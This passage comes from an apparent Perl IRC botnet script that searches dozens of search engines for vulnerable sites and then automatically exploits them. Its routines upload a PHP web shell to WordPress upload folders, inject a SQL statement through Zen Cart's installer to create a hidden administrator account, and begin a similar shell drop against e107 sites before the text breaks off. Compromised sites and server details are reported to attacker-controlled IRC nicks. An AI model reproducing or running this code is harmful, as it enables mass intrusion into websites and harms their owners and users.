if ($engine =~ /jacknet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKNeT",$type); } exit; } }
if ($engine =~ /jacknl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKNL",$type); } exit; } }
if ($engine =~ /jackorg/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKOrG",$type); } exit; } }
if ($engine =~ /jackph/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKPH",$type); } exit; } }
if ($engine =~ /jackpl/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKPL",$type); } exit; } }
if ($engine =~ /jackro/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKRO",$type); } exit; } }
if ($engine =~ /jackru/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKRU",$type); } exit; } }
if ($engine =~ /jackth/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKTH",$type); } exit; } }
if ($engine =~ /jackua/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKUA",$type); } exit; } }
if ($engine =~ /jackuk/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKUK",$type); } exit; } }
if ($engine =~ /jackus/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKUS",$type); } exit; } }
if ($engine =~ /jacksi/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKSI",$type); } exit; } }
if ($engine =~ /jackbe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKBE",$type); } exit; } }
if ($engine =~ /jackbiz/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"JacKBIZ",$type); } exit; } }
if ($engine =~ /google/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLe",$type); } exit; } }
if ($engine =~ /googleCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeCA",$type); } exit; } }
if ($engine =~ /googleDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeDE",$type); } exit; } }
if ($engine =~ /googleUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeUK",$type); } exit; } }
if ($engine =~ /googleFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeFR",$type); } exit; } }
if ($engine =~ /googleES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeES",$type); } exit; } }
if ($engine =~ /googleIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeIT",$type); } exit; } }
if ($engine =~ /googleNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeNL",$type); } exit; } }
if ($engine =~ /googleBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeBE",$type); } exit; } }
if ($engine =~ /googleCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeCH",$type); } exit; } }
if ($engine =~ /googleSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeSE",$type); } exit; } }
if ($engine =~ /googleDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeDK",$type); } exit; } }
if ($engine =~ /googleNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeNO",$type); } exit; } }
if ($engine =~ /googleNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeNZ",$type); } exit; } }
if ($engine =~ /googleIE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeIE",$type); } exit; } }
if ($engine =~ /googleBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeBR",$type); } exit; } }
if ($engine =~ /googleAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeAR",$type); } exit; } }
if ($engine =~ /googleCO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeCO",$type); } exit; } }
if ($engine =~ /googleCU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeCU",$type); } exit; } }
if ($engine =~ /googleCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeCL",$type); } exit; } }
if ($engine =~ /googleMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeMX",$type); } exit; } }
if ($engine =~ /googleAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeAU",$type); } exit; } }
if ($engine =~ /googleRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeRU",$type); } exit; } }
if ($engine =~ /googleAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeAT",$type); } exit; } }
if ($engine =~ /googlePL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLePL",$type); } exit; } }
if ($engine =~ /googleIL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeIL",$type); } exit; } }
if ($engine =~ /googleTR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeTR",$type); } exit; } }
if ($engine =~ /googleUA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeUA",$type); } exit; } }
if ($engine =~ /googleGR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeGR",$type); } exit; } }
if ($engine =~ /googleJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeJP",$type); } exit; } }
if ($engine =~ /googleCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeCN",$type); } exit; } }
if ($engine =~ /googleMY/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeMY",$type); } exit; } }
if ($engine =~ /googleTH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeTH",$type); } exit; } }
if ($engine =~ /googleIN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeIN",$type); } exit; } }
if ($engine =~ /googleKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeKR",$type); } exit; } }
if ($engine =~ /googleRO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeRO",$type); } exit; } }
if ($engine =~ /googleTW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeTW",$type); } exit; } }
if ($engine =~ /googleZA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLeZA",$type); } exit; } }
if ($engine =~ /googlePT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"GooGLePT",$type); } exit; } }
if ($engine =~ /bing/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"Bing",$type); } exit; } }
if ($engine =~ /bingDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingDE",$type); } exit; } }
if ($engine =~ /bingUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingUK",$type); } exit; } }
if ($engine =~ /bingCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingCA",$type); } exit; } }
if ($engine =~ /bingBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingBR",$type); } exit; } }
if ($engine =~ /bingFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingFR",$type); } exit; } }
if ($engine =~ /bingES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingES",$type); } exit; } }
if ($engine =~ /bingIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingIT",$type); } exit; } }
if ($engine =~ /bingBE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingBE",$type); } exit; } }
if ($engine =~ /bingNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingNL",$type); } exit; } }
if ($engine =~ /bingPT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingPT",$type); } exit; } }
if ($engine =~ /bingNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingNO",$type); } exit; } }
if ($engine =~ /bingDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingDK",$type); } exit; } }
if ($engine =~ /bingSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingSE",$type); } exit; } }
if ($engine =~ /bingCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingCH",$type); } exit; } }
if ($engine =~ /bingNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingNZ",$type); } exit; } }
if ($engine =~ /bingRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingRU",$type); } exit; } }
if ($engine =~ /bingJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingJP",$type); } exit; } }
if ($engine =~ /bingCN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingCN",$type); } exit; } }
if ($engine =~ /bingKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingKR",$type); } exit; } }
if ($engine =~ /bingMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingMX",$type); } exit; } }
if ($engine =~ /bingAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingAR",$type); } exit; } }
if ($engine =~ /bingCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingCL",$type); } exit; } }
if ($engine =~ /bingAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BingAU",$type); } exit; } }
if ($engine =~ /biglobe/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"BigLobe",$type); } exit; } }
if ($engine =~ /walla/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"WaLLa",$type); } exit; } }
if ($engine =~ /yahoo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YaHoo",$type); } exit; } }
if ($engine =~ /yahooCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoCA",$type); } exit; } }
if ($engine =~ /yahooUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoUK",$type); } exit; } }
if ($engine =~ /yahooDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoDE",$type); } exit; } }
if ($engine =~ /yahooFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoFR",$type); } exit; } }
if ($engine =~ /yahooES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoES",$type); } exit; } }
if ($engine =~ /yahooIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoIT",$type); } exit; } }
if ($engine =~ /yahooHK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoHK",$type); } exit; } }
if ($engine =~ /yahooID/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoID",$type); } exit; } }
if ($engine =~ /yahooIN/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoIN",$type); } exit; } }
if ($engine =~ /yahooAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoAU",$type); } exit; } }
if ($engine =~ /yahooMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoMX",$type); } exit; } }
if ($engine =~ /yahooTW/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoTW",$type); } exit; } }
if ($engine =~ /yahooBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoBR",$type); } exit; } }
if ($engine =~ /yahooAR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoAR",$type); } exit; } }
if ($engine =~ /yahooNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoNL",$type); } exit; } }
if ($engine =~ /yahooDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoDK",$type); } exit; } }
if ($engine =~ /yahooPH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoPH",$type); } exit; } }
if ($engine =~ /yahooCL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoCL",$type); } exit; } }
if ($engine =~ /yahooRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoRU",$type); } exit; } }
if ($engine =~ /yahooCH/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoCH",$type); } exit; } }
if ($engine =~ /yahooCO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoCO",$type); } exit; } }
if ($engine =~ /yahooFI/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoFI",$type); } exit; } }
if ($engine =~ /yahooRO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoRO",$type); } exit; } }
if ($engine =~ /yahooVE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoVE",$type); } exit; } }
if ($engine =~ /yahooAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoAT",$type); } exit; } }
if ($engine =~ /yahooPL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoPL",$type); } exit; } }
if ($engine =~ /yahooKR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoKR",$type); } exit; } }
if ($engine =~ /yahooNZ/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoNZ",$type); } exit; } }
if ($engine =~ /yahooGR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoGR",$type); } exit; } }
if ($engine =~ /yahooPE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"YahOoPE",$type); } exit; } }
if ($engine =~ /ask/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsK",$type); } exit; } }
if ($engine =~ /askCA/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKCA",$type); } exit; } }
if ($engine =~ /askDE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKDE",$type); } exit; } }
if ($engine =~ /askIT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKIT",$type); } exit; } }
if ($engine =~ /askFR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKFR",$type); } exit; } }
if ($engine =~ /askES/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKES",$type); } exit; } }
if ($engine =~ /askRU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKRU",$type); } exit; } }
if ($engine =~ /askNL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKNL",$type); } exit; } }
if ($engine =~ /askUK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKUK",$type); } exit; } }
if ($engine =~ /askBR/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKBR",$type); } exit; } }
if ($engine =~ /askPL/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKPL",$type); } exit; } }
if ($engine =~ /askAU/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKAU",$type); } exit; } }
if ($engine =~ /askAT/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKAT",$type); } exit; } }
if ($engine =~ /askJP/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKJP",$type); } exit; } }
if ($engine =~ /askSE/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKSE",$type); } exit; } }
if ($engine =~ /askMX/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKMX",$type); } exit; } }
if ($engine =~ /askNO/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKNO",$type); } exit; } }
if ($engine =~ /askDK/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AsKDK",$type); } exit; } }
if ($engine =~ /uol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"UoL",$type); } exit; } }
if ($engine =~ /onet/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"OnEt",$type); } exit; } }
if ($engine =~ /clusty/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"CLusTy",$type); } exit; } }
if ($engine =~ /sapo/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"SaPo",$type); } exit; } }
if ($engine =~ /aol/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"AoL",$type); } exit; } }
if ($engine =~ /lycos/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"LyCos",$type); } exit; } }
if ($engine =~ /hotbot/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"HotBot",$type); } exit; } }
if ($engine =~ /seznam/i) { if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else { &type($chan,$bug,$nick,$dork,"SeZNam",$type); } exit; } }
}
###### EXPLOITING #######
sub ffm_exploit() {
my $chan = $_[0];
my $bugz = $_[1];
my $nick = $_[2];
my $dork = $_[3];
my $engine = $_[4];
my $count = 0;
my @totexploit = &search_engine($chan,$bugz,$dork,$engine,$ffmlogo);
my $num = scalar(@totexploit);
if ($num > 0){
foreach my $site(@totexploit){
$count++;
if ($count == $num-1) { &msg("$chan","$ffmlogo4$engine 9Finished 4for 9$dork "); }
my $aplod = LWP::UserAgent->new;
my $res = $aplod->post("http://".$site.$bugz,['file' => ['./xxx.php' => 'application/octet-stream'],'name' => 'xxx.php'],'Content-Type' => 'form-data');
my $hasil = $res->content;
my $path = "wp-content/uploads/2013/10/xxx.php";
if ($hasil=~ /xxx.php/){
&msg("$chan","$ffmlogo4$engine 9e3x9p3l9o3i9t3i9n3g 4http://$site ");
my $test = "http://".$site.$path;
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
my $cekap = &get_content($test);
if ($cekap =~ /UnKnown - Simple Shell/) {
my $safe = ""; my $os = ""; my $uid = "";
if ($cekap =~ /SAFE_MODE : (.*?)<\/b>/){$safe=$1;}
if ($cekap =~ /Uname : (.*?)<\/b>/){$os=$1;}
if ($cekap =~ /uid=(.*?)gid=/){$uid=$1;}
&msg("$nick","$ffmlogo4$engine 4<9=4>9 Simple sHeLL 4<9=4>9 $test4 (SafeMode=$safe) (OS=$os) uid=$uid ");
&msg("$admin","$ffmlogo4$engine 4<9=4>9 Simple sHeLL 4<9=4>9 $test4 (SafeMode=$safe) (OS=$os) uid=$uid ");
&msg("$admin2","$ffmlogo4$engine 4<9=4>9 Simple sHeLL 4<9=4>9 $test4 (SafeMode=$safe) (OS=$os) uid=$uid ");
&msg("$admin3","$ffmlogo4$engine 4<9=4>9 Simple sHeLL 4<9=4>9 $test4 (SafeMode=$safe) (OS=$os) uid=$uid ");
}
} exit;
} }
}
}
}
sub zen_exploit() {
my $chan = $_[0];
my $bug = $_[1];
my $nick = $_[2];
my $dork = $_[3];
my $engine = $_[4];
my $count = 0;
my @totexploit = &search_engine($chan,$bug,$dork,$engine,$zenlogo);
my $num = scalar(@totexploit);
if ($num > 0){
foreach my $site(@totexploit){
$count++;
if ($count == $num-1) { &msg("$chan","$zenlogo4$engine 9Finished 4for 9$dork "); }
my $test = "http://".$site.$bug;
my $html = &get_content($test);
if (my $pid = fork) { waitpid($pid, 0); } else { if (fork) { exit; } else {
if ($html =~ /zc_install/){
&zen_query($chan,$site,$test,$engine);
}
} exit; }
}
}
}
sub zen_query() {
my $chan = $_[0];
my $url = $_[1];
my $test = $_[2];
my $engine = $_[3];
my $code = "INSERT+INTO+admin+%28admin_id%2C+admin_name%2C+admin_email%2C+admin_pass%29+VALUES+%2856%2C%27adminsys%27%2C%27admin%40mazacrew.co.cc%27%2C%27617ec22fbb8f201c366e9848c0eb6925%3A87%27%29%3B";
my $req = HTTP::Request->new(POST => $test);
$req->content_type("application/x-www-form-urlencoded");
$req->content("query_string=".$code);
my $ua = LWP::UserAgent->new(agent => $uagent);
$ua->timeout(3);
my $res = $ua->request($req);
my $data = $res->as_string;
if ( $data =~ /1 statements processed/i ) {
&msg("$chan","$zenlogo4$engine 4<9=4>4 VulN 4<9=4>9 http://".$url."admin/login.php ");
&msg("$admin","$zenlogo4$engine 4<9=4>4 VulN 4<9=4>9 http://".$url."admin/login.php ");
}
elsif ( $data =~ /Duplicate entry/i ) {
&msg("$chan","$zenlogo4$engine 4<9=4>9 SuccesS 4<9=4>9 http://".$url."admin/login.php )");
&msg("$admin","$zenlogo4$engine 4<9=4>9 SuccesS 4<9=4>9 http://".$url."admin/login.php ");
}
}
sub e107_exploit() {
my $chan = $_[0];
my $bug = $_[1];
my $nick = $_[2];
my $dork = $_[3];
my $engine = $_[4];
my $count = 0;
my @totexploit = &search_engine($chan,$bug,$dork,$engine,$e107logo);
my $num = scalar(@totexploit);
if ($num > 0){
foreach my $site(@totexploit){
$count++;
if ($count == $num-1) { &msg("$chan","$e107logo4$engine 9Finished 4for 9$dork "); }
my $test = "http://".$site.$bug;
my $shellz = "http://".$site."/images/lobex.php";
